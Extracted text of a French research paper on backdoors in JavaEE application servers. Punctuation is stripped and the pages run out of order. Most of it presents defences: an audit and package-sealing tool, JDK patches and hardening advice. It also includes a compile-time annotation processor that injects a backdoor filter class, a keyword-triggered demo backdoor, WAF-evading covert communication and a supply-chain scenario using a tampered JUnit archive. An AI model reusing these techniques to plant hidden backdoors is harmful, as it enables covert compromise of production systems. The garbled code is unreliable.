grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
